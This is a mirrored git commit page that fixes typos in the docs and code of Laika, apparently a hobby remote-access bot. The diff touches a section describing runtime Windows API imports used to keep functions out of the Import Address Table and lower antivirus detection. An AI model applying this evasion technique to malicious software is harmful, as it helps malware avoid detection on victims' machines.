mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-23 13:20:10 +00:00
typos
This commit is contained in:
parent
ed96b75577
commit
fab6c5b4f6
@ -21,7 +21,7 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
|
|||||||
- Import more WinAPI manually using the method listed below
|
- Import more WinAPI manually using the method listed below
|
||||||
|
|
||||||
## Bot: Windows API Imports Obfuscation
|
## Bot: Windows API Imports Obfuscation
|
||||||
Laika uses the fairly common technique of importing several API functions during runtime to help lower AV detection rates. In short, this just removes our library function from our IAT (Import Address Table), making it harder for AV to know what APIs we're loading and using. The logic for importing API is in `bot/win/winobf.c`. To add another API to our import list, first make the function typedef & function pointer definition in `bot/include/obf.h`, for example:
|
Laika uses the fairly common technique of importing several API functions during runtime to help lower AV detection rates. In short, this just removes our library function from our IAT (Import Address Table), making it harder for AV to know what APIs we're loading and using. The logic for importing API is in `lib/win/winobf.c`. To add another API to our import list, first make the function typedef & function pointer definition in `lib/include/obf.h`, for example:
|
||||||
|
|
||||||
```C
|
```C
|
||||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||||
|
@ -24,7 +24,7 @@ Some notable features thus far:
|
|||||||
|
|
||||||
## Why?
|
## Why?
|
||||||
|
|
||||||
I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I start trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
|
I started this project to practice my systems programming skills, specifically networking related things. The networking code in this project (under `/lib`) is probably what I'm most proud of in this project. After that I started trying to learn some common obfuscation methods I've seen used in the wild. I've used this project mostly to improve my skills of managing a 'larger' project. Things relating to having a consistent code style, documenting features and development tasks are really important skills to have when managing a codebase like this.
|
||||||
|
|
||||||
## How do I use this?
|
## How do I use this?
|
||||||
|
|
||||||
|
@ -79,7 +79,6 @@ struct sLaika_bot *laikaB_newBot(void)
|
|||||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||||
struct hostent *host;
|
struct hostent *host;
|
||||||
char *tempINBuf;
|
char *tempINBuf;
|
||||||
size_t _unused;
|
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
laikaP_initPList(&bot->pList);
|
laikaP_initPList(&bot->pList);
|
||||||
|
Loading…
Reference in New Issue
Block a user